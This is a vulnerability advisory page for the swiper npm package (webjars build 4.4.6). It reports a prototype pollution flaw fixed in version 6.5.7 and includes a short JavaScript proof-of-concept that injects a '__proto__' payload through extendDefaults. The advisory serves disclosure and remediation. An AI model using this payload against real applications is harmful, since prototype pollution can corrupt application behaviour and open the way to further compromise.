org.webjars.npm:swiper@4.4.6 vulnerabilities

  • latest version

    11.0.5

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    5 months ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:swiper package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

org.webjars.npm:swiper is a Most modern mobile touch slider and framework with hardware accelerated transitions

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

var swiper = require('swiper');

var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log("Before: " + {}.polluted); // undefined
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log("After: " + {}.polluted); // HACKED

How to fix Prototype Pollution?

Upgrade org.webjars.npm:swiper to version 6.5.7 or higher.

[,6.5.7)